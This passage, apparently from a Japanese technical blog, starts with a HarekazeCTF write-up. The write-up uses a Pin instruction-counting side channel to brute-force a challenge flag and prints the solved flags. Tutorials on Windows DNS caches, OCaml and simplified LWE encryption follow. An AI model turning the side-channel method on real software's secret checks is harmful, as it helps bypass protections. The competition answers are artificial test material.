chars = map(ord, ' 0123456789ABCDEF{}')

s = 'HarekazeCTF{'
while True:
    last = None
    #for c in xrange(0x20, 0x7f):
    for c in chars:
        s2 = s + chr(c)
        p = Popen(['bash', '../pin-3.5-97503-gac534ca30-gcc-linux/inscount0.sh', './lazyk', 'foo.lazy'], stdin=PIPE, stdout=PIPE, stderr=PIPE)
        stdout, stderr = p.communicate(s2+'\n')
        inscount = int(stderr)
        print "%s: %d" % (s2, inscount)
        if last is not None and inscount > last:
            s = s2
            break
        last = inscount
    else:
        raise Exception()
HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93Cz: 248839183
HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C{: 244417392
HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C|: 241721601
HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C}: 241942949
$ echo -n HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C} | ./lazyk foo.lazy
correct flag

recursive zip (Warmup, 40 points)

flag.zipの中にflag.zipが再帰的に入っているという問題。 次のようなシェルスクリプトで解いた。

#!/bin/bash
unzip -p flag.zip >a.zip
while true; do
xxd a.zip | head
unzip -p a.zip >b.zip
xxd b.zip | head
unzip -p b.zip >a.zip
done
HarekazeCTF{(\lambda f. (\lambda x. f (x x)) (\lambda x . f (x x))) zip}

所感

他に解きたかった問題は以下。

  • Lost_data (For + Misc, 100 points)
  • WE'RE WATCHING YOU! (Misc +OSINT, 100 points)
  • Unnormalized-form Data (Misc, 127 points)
  • Flea Attack (Pwn, 200 points)
  • alnush (Pwn, 200 points)
  • gacha 2 (Crypto, 350 points)
  • my favorite language 2 (Rev + Misc, 250 points)

WindowsホストのDNSキャッシュを表示する

OS起動中に保持されるDNSキャッシュを表示するには、ipconfig /displaydns または powershell -c Get-DNSClientCacheWindows 8以降)を使う。

>ipconfig /displaydns

Windows IP 構成

    www.gstatic.com
    ----------------------------------------
    タイプ AAAA のレコードがありません


    www.gstatic.com
    ----------------------------------------
    レコード名 . . . . . . . : www.gstatic.com
    レコードの種類 . . . . . : 1
    Time To Live  . . . . . .: 236
    データの長さ . . . . . . : 4
    セクション . . . . . . . : 回答
    A (ホスト) レコード. . . : 216.58.221.3

(snip)

    pagead46.l.doubleclick.net
    ----------------------------------------
    タイプ AAAA のレコードがありません


    pagead46.l.doubleclick.net
    ----------------------------------------
    レコード名 . . . . . . . : pagead46.l.doubleclick.net
    レコードの種類 . . . . . : 1
    Time To Live  . . . . . .: 93
    データの長さ . . . . . . : 4
    セクション . . . . . . . : 回答
    A (ホスト) レコード. . . : 172.217.26.2

>ipconfig /displaydns | findstr レコード名
    レコード名 . . . . . . . : safebrowsing.googleapis.com
    レコード名 . . . . . . . : www.gstatic.com
    レコード名 . . . . . . . : plus.l.google.com
    レコード名 . . . . . . . : ssl.gstatic.com
    レコード名 . . . . . . . : www.google.com
    レコード名 . . . . . . . : adservice.google.co.jp
    レコード名 . . . . . . . : pagead46.l.doubleclick.net
    レコード名 . . . . . . . : apis.google.com
    レコード名 . . . . . . . : plus.l.google.com
    レコード名 . . . . . . . : www.google.co.jp
    レコード名 . . . . . . . : pagead46.l.doubleclick.net
>powershell -c Get-DNSClientCache

Entry                     RecordName                Record Status    Section TimeTo Data L Data
                                                    Type                     Live   ength
-----                     ----------                ------ ------    ------- ------ ------ ----
c.msn.com.nsatc.net       c.msn.com.nsatc.net       A      Success   Answer     103      4 111.221.29.30
devconnections.com        devconnections.com        A      Success   Answer   86043      4 8.33.3.94
(snip)
www.facebook.com          www.facebook.com          CNAME  Success   Answer      14      8 star-mini.c10r.facebook.com
www.facebook.com          star-mini.c10r.faceboo... A      Success   Answer      14      4 31.13.82.36

>powershell -c "Get-DNSClientCache | select Entry,Data"

Entry                                                       Data
-----                                                       ----
c.msn.com.nsatc.net                                         111.221.29.30
devconnections.com                                          8.33.3.94
(snip)
www.facebook.com                                            star-mini.c10r.facebook.com
www.facebook.com                                            31.13.82.36

なお、データの実体はサービス名Dnscache(DNS Client)を提供するプロセスsvchost.exeのヒープメモリ上にある。

関連リンク

OCamlで簡単なプログラムを書いてみる

プログラミング言語のひとつであるOCamlで簡単なプログラムを書いてみる。

環境

Ubuntu 16.04.2 LTS 64bit版、OCaml 4.02.3

$ uname -a
Linux vm-ubuntu64 4.4.0-66-generic #87-Ubuntu SMP Fri Mar 3 15:29:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.2 LTS
Release:        16.04
Codename:       xenial

$ ocaml -version
The OCaml toplevel, version 4.02.3

OCamlの概要

OCamlはINRIA(フランス国立情報学自動制御研究所)によって開発されたプログラミング言語であり、関数型言語MLの方言であるCamlにオブジェクト指向の要素が取り入れられたものである。 他の関数型言語と同様に、静的な型システム・型推論、パターンマッチ、末尾呼び出し最適化等を備えている。

関数型言語として比較的近いものにHaskellがあるが、Haskellとの違いのひとつに評価戦略がある。 Haskellが遅延評価であるのに対し、OCamlは正格評価である。 遅延評価には不必要な計算が行われないという利点がある一方で、未評価の式(thunk)が溜まるとパフォーマンスが落ちる(スペースリーク)という難点がある。 OCamlは正格評価であるため、正格評価を行う多くのプログラミング言語と同様に考えることができる。 なお、Haskellseq$!で正格評価を扱うことができる(参考)ように、OCamllazyによって遅延評価を扱うことができる。

OCamlが使われているプロジェクトとしては、以下が挙げられる。

OCamlのインストール

Ubuntuの場合、標準リポジトリからパッケージをインストールできる。 ocaml-noxX11サポートなし、ocamlX11サポートありである。

$ sudo apt install ocaml-nox

なお、OCamlにはパッケージマネージャとしてOPAMがあるが、ここではインストールしないことにする。

ocamlコマンドでインタプリタを起動し、適当な計算を行ってみる。 インタプリタでは、;; で式の終わりを表す。

$ ocaml
        OCaml version 4.02.3

# let rec sigma a b f =
    if a > b then 0 else f a + sigma (a+1) b f;;
val sigma : int -> int -> (int -> int) -> int = <fun>
# sigma 1 10 (fun x -> x*x);;
- : int = 385
# [Ctrl+D]

上のコードでは、Σ_{i=1}^10 i^2 = 1^2 + 2^2 + ... + 10^2 = 385 を計算している。 OCamlにおいて、再帰関数は明示的に let rec で定義する。 また、匿名関数(ラムダ式)は (fun PARAMETER_1 ... PARAMETER_n -> EXPR) と書く。

簡単なプログラムを書いてみる

プログラムの例として、素因数分解を行う factor.ml を書いてみる。

let rec factor n =
  if n < 2 then []
  else if n mod 2 = 0 then 2 :: factor (n/2)
  else if n mod 3 = 0 then 3 :: factor (n/3)
  else (
    let rec factor_gt d n =
      if n < d*d then [n]
      else if n mod d = 0 then d :: factor_gt d (n/d)
      else if n mod (d+2) = 0 then (d+2) :: factor_gt d (n/(d+2))
      else factor_gt (d+6) n in
    factor_gt 5 n
  )

let () =
  if Array.length Sys.argv < 2 then (
    Printf.printf "Usage: %s N\n" Sys.argv.(0);
    exit 1
  );
  let n = int_of_string Sys.argv.(1) in
  (* let n = int_of_string (read_line ()) in *)
  let factors = factor n in
  Printf.printf "%d: %s\n" n (String.concat " " (List.map string_of_int factors));

factor は一通り2と3で割った後、平方根以下の適当な整数で試し割りを行う関数である。 OCamlにはC言語におけるmain関数のような概念がないため、慣習的に let () = ... 等でエントリポイントが表わされる。 ローカル変数の定義は let X = A in ... の形の式として表し、連続する式はシークエンス演算子 ; で区切って並べる。 また、コメントは (* *) で表し、C++における // のような1行コメントはない。

ocamloptコマンドで実行ファイルにコンパイルし、実行してみると次のようになる。

$ ocamlopt factor.ml -o factor

$ file factor
factor: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4a20beb80735f3abf4a7f6d85b343a7a737fcb87, not stripped

$ ./factor 360
360: 2 2 2 3 3 5

$ time ./factor 4611686018427387903
4611686018427387903: 3 715827883 2147483647

real    0m2.469s
user    0m2.464s
sys     0m0.004s

$ factor 4611686018427387903
4611686018427387903: 3 715827883 2147483647

上の結果から、正しく実行ファイルにコンパイルされ、素因数分解できていることが確認できる。

なお、64 bit環境においてOCamlのintは63 bit符号付き整数であり、-262から262-1までの値となる。 64 bitのうちの1ビットは内部でガベージコレクション用に利用される。

$ ./factor 4611686018427387904
Fatal error: exception Failure("int_of_string")

$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> bin(4611686018427387904)
'0b100000000000000000000000000000000000000000000000000000000000000'
>>> len(_)-3
62
>>> [Ctrl+D]

関数型プログラミングで書いてみる

パターンマッチや関数合成を使ったプログラムの例として、上と同じ内容の factor_fp.ml を書いてみる。

let rec factor_by d = function
  | n :: factors when n > d && n mod d == 0 -> factor_by d ((n/d) :: d :: factors)
  | ns -> ns

let factor n =
  let rec factor_gt d = function
    | n :: factors when n < d*d -> n :: factors
    | ns -> factor_by d ns |> factor_by (d+2) |> factor_gt (d+6) in
  if n < 2 then []
  else List.rev (factor_by 2 [n] |> factor_by 3 |> factor_gt 5)

let () =
  if Array.length Sys.argv < 2 then (
    Printf.printf "Usage: %s N\n" Sys.argv.(0);
    exit 1
  );
  let n = int_of_string Sys.argv.(1) in
  (* let n = int_of_string (read_line ()) in *)
  let factors = factor n in
  Printf.printf "%d: %s\n" n (String.concat " " (List.map string_of_int factors))

暗黙の引数を取るパターンマッチ関数は function| P -> ... を使って定義する。 ガード節は when ... で表し、後続の条件を満たす場合のみマッチさせることができる。 また、f x |> g はいわゆるパイプライン演算子(Reverse-application operator)であり、g (f x) と等価である。

ocamloptコマンドで実行ファイルにコンパイルし、実行してみると次のようになる。

$ ocamlopt factor_fp.ml -o factor_fp

$ ./factor_fp 360
360: 2 2 2 3 3 5

$ time ./factor_fp 4611686018427387903
4611686018427387903: 3 715827883 2147483647

real    0m2.966s
user    0m2.960s
sys     0m0.004s

$ factor 4611686018427387903
4611686018427387903: 3 715827883 2147483647

上の結果から、多少効率は落ちているものの、同じ結果が得られていることが確認できる。

クラスを使ったプログラムを書いてみる

OCamlらしいプログラムの例として、クラスを使った oop_example.ml を書いてみる。

class virtual animal (name : string) = object(self)
  val mutable name = name
  method set_name new_name = name <- new_name
  method virtual cry : unit
end

class dog name = object(self)
  inherit animal name
  method cry = Printf.printf "%s: bowwow\n" name
end

class cat name = object(self)
  inherit animal name
  method cry = Printf.printf "%s: meow\n" name
end

let () =
  let dog = new dog "Snoopy" in
  let cat = new cat "Kitty" in
  dog#cry;
  cat#cry;
  dog#set_name "Pochi";
  cat#set_name "Tama";
  dog#cry;
  cat#cry

animal#cry のような仮想メソッドを持つクラスには、クラス本体にも virtual キーワードを付ける必要があることに注意する。

コンパイルして実行すると次のようになる。

$ ocamlopt oop_example.ml -o oop_example

$ ./oop_example
Snoopy: bowwow
Kitty: meow
Pochi: bowwow
Tama: meow

関連リンク

更新履歴

「Can We Prevent Use-after-free Attacks?」というタイトルで発表した

2年前に発表していた勉強会が久しぶりに開催されるということで、Use-after-free攻撃の原理と対策について話した。

最近はCTFが盛り上がっていることもあり、攻撃手法についての話を見ることが多いのだけど、そこから先のどうやったら防げるかという話を見ることは相対的に少ないように思う。 しかし、Attack and Defence形式のCTFにおけるDefence部分だったり、Cyber Grand Challangeにおけるpatch適用の自動化だったり、防御側の視点というのもあるわけで、そういった視点への理解を深めることも必要なのではないか。

あとは、○○はダメだとか、○○すべきなのではないかとか、個々のセキュリティ対策についての議論を見ることも多いのだけど、必要なのはリスクの洗い出しからの評価・対応といったリスクマネジメントを行うことであって、○○が是か非かというような誤った二分法に落とし込むのは少し違うように感じる。 結局のところ、その環境において想定されるリスクに対してコスト・ベネフィットのバランスが取れた管理ができているかというところが「問題」なのではないか。

そういった問題意識から、Use-after-free攻撃という具体的な例について、全体としてどういう対策があるのかというのをまとめてみた。 自分自身、セキュアなアセンブリコードを吐くコンパイラ改良だったり、セキュアなメモリ管理を行うGC付きheapといったコンセプトについて考えるきっかけにもなった。

他の発表も、過去から今を知っているからこその資料的価値のあるものだったり、触れられることの少ないトピックに関する検証を行ったものだったりで、一参加者としてもとても楽しめる内容だった。 さまざまな人の反応を知れたり意見交換ができたことも、よい刺激になった。

ありがとうございました。

LWE格子暗号による暗号化をやってみる

近年、量子コンピュータ研究の進展により、量子コンピュータでも解くのが難しい暗号(Post-quantum cryptography; 耐量子計算機暗号)への注目が高まっている。 ここでは、耐量子計算機暗号のひとつであるLWE格子暗号の原理を説明し、単純化したアルゴリズムで暗号化を行うプログラムコードを書いてみる。

格子とLearning with Errors問題

LWE格子暗号は、Learning with Errorsと呼ばれる問題をもとにした公開鍵暗号方式である。

格子とは、基底ベクトルの整数係数線形結合で表される点(格子点)からなる集合である。 格子については、直交しない基底ベクトルからある点Pに最も近い格子点を求めることが計算量的に困難であるといわれている。 これは、最近ベクトル問題(Closest Vector Problem; CVP)と呼ばれる。

Learning with Errors問題は、この点Pを基底ベクトルの整数係数線形結合と誤差の和として表したとき、点Pから係数と誤差を求める問題である。 これは言い換えれば、次のような誤差付きの線形方程式を解く問題であるといえる。

A * s + e = t

誤差がない場合の線型方程式はガウスの消去法などを用いて容易に解けるが、誤差が加わった線形方程式を効率的に解くアルゴリズムは現時点で見つかっていない。

LWE格子暗号では、素数qを法とする有限体上での演算のもとでの格子を考える。 また、LWE格子暗号には暗号文のまま演算ができるという性質がある。 このような性質を持つ暗号は準同型暗号と呼ばれる。

純化したLWE格子暗号で暗号化してみる

次の資料では、単純化したLWE格子暗号による1ビット平文の暗号化・復号アルゴリズムが説明されている。

このアルゴリズムは本来のLWE格子暗号のアルゴリズムとは異なるが、説明を簡単にするため、ここではこのアルゴリズムをもとにした計算をやってみる。 パラメータ、秘密鍵、公開鍵は次のようになる。

  • パラメータ
    • n: 格子の次元
    • q: 法とする素数
    • A: 格子の基底行列(n x n)
    • α: 誤差の大きさに関連するパラメータ
  • 秘密鍵
    • s: 係数(n x 1)
    • e: 誤差(n x 1)
  • 公開鍵
    • T: 格子点に誤差を加えた点(n x 1)

numpyを用いて計算を行うプログラムコードを書くと次のようになる。

import numpy as np

# parameters
n = 230
q = 2053
A = np.random.randint(q, size=(n, n))
alpha = 8.0

def randint_from_gaussian(size):
    sigma = alpha/np.sqrt(2*np.pi)
    x = np.random.normal(0, sigma, size)
    return np.rint(x)

print '[+] parameters'
print "lattice dimension: n = %d" % n
print "prime modulus: q = %d" % q
print 'lattice basis: A = \n', A
print "error distribution parameter: alpha = %f" % alpha
print

# keys
s = np.random.randint(q, size=n)
G = A.dot(s) % q
e = randint_from_gaussian(size=n)
T = (G + e) % q

print '[+] secret key'
print 's =\n', s
print 'e =\n', e
print '[+] public key'
print 'T =\n', T
print

# encryption
plain_bit = 1
print "[+] plain_bit = %d" % plain_bit
print

r = randint_from_gaussian(size=n)
C1 = r.dot(A) % q
M = (q+1)/2 * plain_bit
C2 = (r.dot(T) - M) % q

print '[+] ciphertext'
print 'C1 =\n', C1
print 'C2 =\n', C2
print

# decryption
p = (C1.dot(s) - C2) % q
decrypted_bit = int((q+1)/4 < p < 3*(q+1)/4)
print "[+] decrypted_bit = %d" % decrypted_bit

上のコードでは、誤差を正規分布に従って生成し、1ビットの平文を暗号化した後復号している。 復号時は秘密鍵である係数sを用いて -r*e + M を計算し、-r*e として期待される値かどうかで確率的に平文のビットを判定する。

実際に実行してみると、次のようになる。

$ python lwe.py
[+] parameters
lattice dimension: n = 230
prime modulus: q = 2053
lattice basis: A =
[[1543  329 1153 ..., 1259   18 1144]
 [ 686 1250  850 ...,  640 1822  502]
 [1817  901 1649 ..., 1272  900  145]
 ...,
 [ 207 1325 1223 ..., 1783 1011 1331]
 [ 225 1380 1143 ...,  468 1403   50]
 [ 937 1758   92 ..., 1938 1435  902]]
error distribution parameter: alpha = 8.000000

[+] secret key
s =
[ 977 2046 1632 1459 1308  729  574 1506 1244 1405 1546 1482  800  213 1551
 1122 1691 1910 1302  917 1495  465  681 1442 1953  432  997 2052 1002  105
  371 1161 1215 1015  626 1925 1318 1886 1850 1689  320  949  944  153 1536
 1112  405 1274  709  928 1049  522  639 1180 1644 1474 1667 2047  313 1693
  947 1655  383  703  570  112  737  870 1492 1489  409  348 1744 1759 1075
  596  883 1414  404 2004 1553 1624  896 1285 1469  611 1649  717  400  786
  963 1561 1142 1301 1457  829  354  291  715  332 1230 1954 1146 1083  761
 1233 1455  908 1165  666  542  883 1628  911  189 1058  864  442 1084   22
  293  655 1120 1187  190  574  164 1253 1718  676  311  116 1334 1184 1504
 1354 1448 1471 1066 1941  147  990 1082    5   25 1190 1692  557 1642  988
 1455  527  823 1620  620 1044  133  370 1281 1306 1793   85 1613 1594  380
 1430  466 1827 1517  421 1781  471  948 1281   87  568 1717  731 1439 1338
 1781 1273  764  580  398  816 1691 1657 1767  471  630  495  824  756  541
  644 1746 1991 1597 1223  234 1673 1280 1339 1472 1634 1118 1781 1050 1429
  289 1874  846 1510  250  532  662 1407  432  597  205 1442   92  943  403
  260 1973 1883  520  736]
e =
[ -3.   6.   1.  -2.  -6.   2.  -4.   1.   4.   2.   1.   1.   2.  -2.   3.
  -1.   3.   2.   6.  -2.  -3.  -6.   1.  -3.   3.  -1.  -3.   3.  -3.  -1.
  -5.  -3.   1.  -4.  -2.  -0.   2.   3.  -3.  -2.  -4.  -3.  -0.  -6.   1.
  -0.  -4.   1.  -2.   1.   0.  -1.   0.  -0.   1.   1.  -3.  -1.   0.   2.
   1.   2.  -4.  -3.   2.  -1.  -4.  -2.  -2.  -3.   3.   0.  -2.   0.   0.
  -1.   2.   7.   3.   1.  -2.  -1.  -1.  -1.   0.   3.   5.   8.   4.  -1.
  -0.   1.   5.  -3.   2.   2.  -3.  -6.   0.   6.   4.  -1.  -1.  -2.   4.
  -2.  -6.  -2.   2.   4.   5.  -2.  -1.  -0.  -2.   4.   7.  -2.  -1.   1.
  -2.   2.  -2.  -7.   0.   3.   3.   3.   1.  -4.   1.   3.   8.   2.   2.
  -1.  -1.  -4.  -0.   1.  -3.  -1.   1.  -2.  -3.  -1.   2.   4.  -0.   0.
   3.  -2.  -5.   1.  -0.   1.   4.  -3.  -5.  -4.   2.  -0.  -1.  -1.   1.
  -4.   6.   0.  -0.  -2.   0.  -6.   0.  -1.  -1.  -2.   2.   4.  -3.  -0.
  -2.   3.   3.  -0.   5.   1.   5.  -0.   5.  -1.   6.  -0. -11.   1.  -2.
   2.   2.   0.  -0.   0.  -1.  -2.   1.  -1.   4.   2.  -0.  -0.   4.   5.
  -1.  -3.   1.  -3.   0.  -4.   2.   3.  -2.   3.  -0.  -2.  -5.   1.  -4.
  -0.  -3.  -4.   4.  -3.]
[+] public key
T =
[  492.  1328.   983.  1435.  1316.   833.  1076.   444.    13.  1561.
  1409.   782.  1126.   408.   600.  1127.  1547.    95.   991.   458.
  1536.   814.  1926.   527.  1220.   650.  2030.   834.   613.  1191.
  1534.   790.   888.   765.   911.    56.  1935.  1782.     6.   491.
  1833.  1104.   579.     0.  1211.  1204.   674.  1553.   196.  1480.
  1001.  1707.   102.  1000.   331.   858.  1608.    27.   727.  1542.
  2050.   640.  1780.  1156.   390.   494.  1532.   874.   797.   993.
   859.  1448.  1634.  2029.   743.  1397.  1803.   595.    89.  1085.
  1955.   140.   272.  1866.  1113.  2052.  1581.  1103.  1611.   308.
   593.  1850.   557.   838.   595.  1999.  1924.   447.  1554.  1548.
  2013.  2030.   203.  1858.  1944.  1099.   446.  1872.  1042.  1009.
    15.  1215.   412.  1269.   863.  1235.   671.  1124.    28.   383.
   146.    58.   338.  1228.  1565.   303.   495.   519.    29.   380.
  1974.  1694.  1594.  1308.  1363.   690.  1291.  1096.   745.   642.
   309.  1579.  1701.   485.  1798.  1667.  1800.   769.  1095.  1388.
   720.   636.  2014.   391.  1238.  1984.  1272.  1810.  1604.  2028.
   829.   291.    92.  1187.  1477.   824.  1635.  1620.   187.  1105.
   632.  1215.   937.  1591.  1762.  1291.   656.  1128.  1957.   496.
   559.   882.  1718.  1746.  1281.  1932.   251.   814.   364.   196.
   558.  1910.   257.    11.  1831.   580.   301.  1330.  1405.   546.
   267.   690.  1040.   150.  1110.  1007.   874.   473.  1164.   327.
  1237.   963.   336.   602.  1421.  1488.  1367.  1440.  1631.  1425.
    96.  1250.   477.  1813.  1660.   605.   971.   117.   352.  1064.]

[+] plain_bit = 1

[+] ciphertext
C1 =
[ 1935.  1715.  1768.     9.  1957.   220.  1702.   150.   312.    94.
  1007.  1237.   260.   691.  1147.  1194.  1745.  1914.  1822.   825.
  1449.   278.  1890.   541.  1568.    50.   459.    29.  1318.   800.
  1515.  1593.   907.   596.   299.   302.  1799.   688.   376.  1963.
   524.   564.   104.  1975.  1734.  1068.   964.  1368.   748.  1473.
   163.  1796.  1579.  1536.  1963.   138.    39.   140.  1982.   382.
   676.   704.    83.  1448.  1836.  1888.   255.  1332.  1921.   111.
   928.  1942.   350.  2044.  1737.   459.  1646.   779.  1251.  1660.
  1209.   991.  1493.     8.   952.  1647.   885.   823.    41.    50.
   980.  1087.  1231.  1809.    79.  1054.  1140.   271.  1074.    54.
   261.  1063.  1109.  1253.  1019.  1673.   876.  1456.  1255.  1455.
   881.  1209.  1594.  1401.  1910.   898.   363.    64.  1485.   437.
   553.  1252.   245.  1691.  1897.    48.   624.   520.   258.   138.
   692.  1494.  1905.   767.   691.  2039.  1918.   547.   137.  1801.
   886.   606.  1480.   767.   924.   198.  1233.  1135.   837.   306.
  1465.  1926.    99.  1047.  1725.  2034.  1622.   853.  1992.  1870.
  1157.  1364.  1040.   720.  1385.  1013.   342.  2031.  1445.  1552.
  1119.  1876.  1053.   406.  1750.   955.  1688.   582.  1201.   900.
  2029.   491.  1475.   597.  1764.  1205.   349.  1231.  1852.  1426.
  1672.  1310.   354.   434.   225.  1161.   771.  1154.   722.   159.
  1986.  1354.  1096.   102.   592.   362.  1397.  1319.    14.  1735.
    69.   187.   494.  1413.  1786.  1331.   538.  2036.  1389.  1290.
  1587.   622.   260.   782.  1657.  1065.  1345.  1498.   877.   743.]
C2 =
1427.0

[+] decrypted_bit = 1

plain_bitを変えながら複数回実行すると、ほとんどの場合において平文のビットを正しく判定できていることが確認できる。

Ring-LWE格子暗号

上のコードは単純化したものの実装であるが、本来のLWE格子暗号は格子の次元をnとしたとき公開鍵の鍵長がO(n2)となる。 また、上の結果からもわかるように、暗号文の長さは平文のn倍になる。

これらの点を改良したものとして、有限体の代わりに円分体の整数環上での演算を用いたRing-LWE(RLWE)格子暗号がある。 Ring-LWE格子暗号では、公開鍵の鍵長を数千bit程度にでき、また、複数ビットの平文を対応する多項式の係数で表すことにより暗号文の長さを格段に小さくできる。

昨年GoogleNew Hopeと呼ばれる耐量子鍵交換方式の実験を行ったが、この鍵交換方式もRing-LWE問題をベースとしたものになっている。

関連リンク